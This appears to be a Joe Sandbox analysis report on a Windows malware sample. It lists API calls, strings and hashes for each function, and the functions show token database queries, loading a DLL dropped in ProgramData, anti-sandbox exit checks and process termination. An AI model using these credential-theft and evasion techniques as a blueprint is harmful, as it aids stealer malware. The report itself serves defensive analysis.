AccountId, xrefs: 0040BC94
AccountTokens, xrefs: 0040BA8A
AccountTokens, xrefs: 0040BB19
SELECT service, encrypted_token FROM token_service, xrefs: 0040BBBB

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmp
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 1440504306-1079375795
Opcode ID: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction ID: 6476b4a2e47316619015001d7be3bff7ad81932ea7eb7605c7a9cb508b765a87
Opcode Fuzzy Hash: 528b0dcbd92ef5c599c0ef7646e72e3f5de9f0dc130e5900d8b083ce33af8bf2
Instruction Fuzzy Hash: E9B17371A111089BCB04FBA1DCA6EEE7339AF14314F40456FF50673195EF386A98CB6A

Function 004108A0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00419850: CreateFileA.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,004108DC,C:\ProgramData\chrome.dll), ref: 00419871

Part of subcall function 0040A090: LoadLibraryA.KERNEL32(C:\ProgramData\chrome.dll,?,004108E4), ref: 0040A098

StrCmpCA.SHLWAPI(00000000,02F6EB58), ref: 00410922
StrCmpCA.SHLWAPI(00000000,02F6EC48), ref: 00410B79
StrCmpCA.SHLWAPI(00000000,02F6ECC8), ref: 00410A0C

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

DeleteFileA.KERNEL32(C:\ProgramData\chrome.dll), ref: 00410C35

Strings

C:\ProgramData\chrome.dll, xrefs: 00410C30
C:\ProgramData\chrome.dll, xrefs: 004108CD

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$CreateDeleteLibraryLoad
String ID: C:\ProgramData\chrome.dll$C:\ProgramData\chrome.dll
API String ID: 585553867-663540502
Opcode ID: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction ID: 798b8003b846a09b6b7b20e33334a9dbf0f3b1503011c00658a7b4d9c0c3a9bc
Opcode Fuzzy Hash: bc4131eb9470a0b30c78486560b6eeb5eaf7b01ec90574bc2a426dfa5c06d41b
Instruction Fuzzy Hash: DCA176717001089FCB18EF65D996FED7776AF94304F10812EE40A5F391EB349A49CB9A

Function 004149D0 Relevance: 10.6, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,02F758D0,?,00000104,?,00000104,?,00000104,?,00000104), ref: 00414A2B

Part of subcall function 00418F70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 00418F9B

lstrcatA.KERNEL32(?,00000000), ref: 00414A51
lstrcatA.KERNEL32(?,?), ref: 00414A70
lstrcatA.KERNEL32(?,?), ref: 00414A84
lstrcatA.KERNEL32(?,02F715B8), ref: 00414A97
lstrcatA.KERNEL32(?,?), ref: 00414AAB
lstrcatA.KERNEL32(?,02F75E08), ref: 00414ABF

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 004147C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
Part of subcall function 004147C0: HeapAlloc.KERNEL32(00000000), ref: 004147D7
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147F6
Part of subcall function 004147C0: FindFirstFileA.KERNEL32(?,?), ref: 0041480D

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: ca37e48eac6c41bf83888b042920387d67c8233dae85e760b5f4e7268f4a1e27
Instruction ID: a5c2d428b28de13255d2ac7946ab4b1842291e6be0275f36c7222d1bbee1b90f
Opcode Fuzzy Hash: ca37e48eac6c41bf83888b042920387d67c8233dae85e760b5f4e7268f4a1e27
Instruction Fuzzy Hash: F93160B2D0421867CB14FBB0DC95EDD733EAB48704F40458EB20596091EE78A7C8CB99

Function 00416C90 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF28E8), ref: 00419BF1
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2708), ref: 00419C0A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2918), ref: 00419C22
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2930), ref: 00419C3A
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2948), ref: 00419C53
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02F6B978), ref: 00419C6B
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02F6AE48), ref: 00419C83
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02F6AE28), ref: 00419C9C
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2978), ref: 00419CB4
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF26C0), ref: 00419CCC
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF26D8), ref: 00419CE5
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF26F0), ref: 00419CFD
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02F6ADA8), ref: 00419D15
Part of subcall function 00419BB0: GetProcAddress.KERNEL32(74DD0000,02EF2720), ref: 00419D2E

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,00416CB7,00420AF3), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,00416CBC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,00416CBC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416A10: GetUserDefaultLangID.KERNEL32(?,?,00416CC6,00420AF3), ref: 00416A14

GetUserDefaultLCID.KERNEL32 ref: 00416CC6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004179E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417A10
Part of subcall function 004179E0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417A17
Part of subcall function 004179E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00417A2F

Part of subcall function 00417A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00416CCB), ref: 00417AA0
Part of subcall function 00417A70: HeapAlloc.KERNEL32(00000000,?,?,?,00416CCB), ref: 00417AA7
Part of subcall function 00417A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00417ABF

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F6B968,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416D88
CloseHandle.KERNEL32(00000000), ref: 00416D99
Sleep.KERNEL32(00001770), ref: 00416DA4
CloseHandle.KERNEL32(?,00000000,?,02F6B968,?,004210F4,?,00000000,?,004210F8,?,00000000,00420AF3), ref: 00416DBA
ExitProcess.KERNEL32 ref: 00416DC2

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$AllocUserlstrcpy$CloseDefaultEventHandleName__aulldiv$ComputerCreateCurrentGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 3511611419-0
Opcode ID: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction ID: 27cf1f4c78a26a12fad1801110170cb785a0876a7ac7b1f74ab5ff3c6832b849
Opcode Fuzzy Hash: 32fb34536166014d7c58d27a16746fd28ebf0fa137deb214c181cbfce6898861
Instruction Fuzzy Hash: CB315E30A05104ABCB04FBF1EC56BEE7379AF44314F50492FF11266196EF786A85C66E

Function 0041856C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 004185B6
wsprintfA.USER32 ref: 004185E9
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041860B
RegCloseKey.ADVAPI32(00000000), ref: 0041861C
RegCloseKey.ADVAPI32(00000000), ref: 00418629

Part of subcall function 0041AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0041AAF6

RegQueryValueExA.KERNEL32(00000000,02F75708,00000000,000F003F,?,00000400), ref: 0041867C
lstrlenA.KERNEL32(?), ref: 00418691
RegQueryValueExA.KERNEL32(00000000,02F75768,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B3C), ref: 00418729
RegCloseKey.ADVAPI32(00000000), ref: 00418798
RegCloseKey.ADVAPI32(00000000), ref: 004187AA

Strings

%s\%s, xrefs: 004185DD

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction ID: 130e8712b2d17d0f4a3aa70f9b32a38deb323cc32c4c6a80807e33934adfa5f1
Opcode Fuzzy Hash: b35235786b948e0e6555158c1c0efb0b11028fcec8c55c6120cd3185db22f78a
Instruction Fuzzy Hash: 0F211B71A112189BDB24DB54DC85FE9B3B9FB48704F1081D9E609A6180DF746AC5CF98

Function 00404800 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 60stringnetworkCOMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Strings

<, xrefs: 00404819

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: ??2@$CrackInternetlstrlen
String ID: <
API String ID: 1683549937-4251816714
Opcode ID: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction ID: 160db8237089610cf3963e488d7c28046b69bb3d6c402c1973a99714a059ae02
Opcode Fuzzy Hash: 994daec21f0517629ae22a04d51c011e227e96814832a9a45039b376b6c0c140
Instruction Fuzzy Hash: 9F2149B1D00219ABDF14DFA5EC4AADD7B75FF04320F008229F925A7290EB706A19CF95

Function 004199A0 Relevance: 10.6, APIs: 7, Instructions: 60processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004199C5
Process32First.KERNEL32(0040A056,00000128), ref: 004199D9
Process32Next.KERNEL32(0040A056,00000128), ref: 004199F2
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00419A4E
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419A6C
CloseHandle.KERNEL32(00000000), ref: 00419A79
CloseHandle.KERNEL32(0040A056), ref: 00419A88

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 2696918072-0
Opcode ID: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction ID: 88ad4043d03276f3ee8d31f644ab7db47d0d0c060b431017ba6a9ada5f45e9a4
Opcode Fuzzy Hash: d164d69eee064959a682f4fee3bb2d75b95a0ad327ad163940014db5e985719e
Instruction Fuzzy Hash: 06211A70900258ABDB25DFA1DC98BEEB7B9BF48304F0041C9E509A6290D7789FC4CF51

Function 00417820 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417834
HeapAlloc.KERNEL32(00000000), ref: 0041783B
RegOpenKeyExA.KERNEL32(80000002,02F71A30,00000000,00020119,00000000), ref: 0041786D
RegQueryValueExA.KERNEL32(00000000,02F75678,00000000,00000000,?,000000FF), ref: 0041788E
RegCloseKey.ADVAPI32(00000000), ref: 00417898

Strings

Windows 11, xrefs: 0041784D

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3466090806-2517555085
Opcode ID: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction ID: 90abcce2ecfc2a5b8cd512a74185dd25ab23219ddadcc09848e79f4871c60c5e
Opcode Fuzzy Hash: ece6f01e7d5fd4039499d2cf589e258aec5fff7bd7b06dda1c9cbde8cad395cd
Instruction Fuzzy Hash: FD01A274E09304BBEB00DBE4ED49FAE7779EF48700F00419AFA04A7290E7749A40CB55

Function 004178B0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004178C4
HeapAlloc.KERNEL32(00000000), ref: 004178CB
RegOpenKeyExA.KERNEL32(80000002,02F71A30,00000000,00020119,00417849), ref: 004178EB
RegQueryValueExA.KERNEL32(00417849,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041790A
RegCloseKey.ADVAPI32(00417849), ref: 00417914

Strings

CurrentBuildNumber, xrefs: 00417901

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xLgTQcFdIJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3466090806-1022791448
Opcode ID: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction ID: 4c9302de3449b24d107dc6acc84b9b99571be3b3dcaa7f8b3677a924de38e7e6
Opcode Fuzzy Hash: 14ae58864b366c4003c6da9e1b5cfb2a16c067edbf69ef05e192f5cb5c601d9e
Instruction Fuzzy Hash: 51014FB5E45309BBEB00DBE4DC4AFAEB779EF44700F10459AF605A6281E774AA408B91

Function 00414300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.KERNEL32(80000001,02F76048,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,02F75870,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,02F767F8), ref: 004143AB

Memory Dump Source

Source File: 00000000.00000002.2191140515.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2191140515.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2191140515.00000000005AA000.00000040.00000001.01000000.00000003.sdmpDownload File
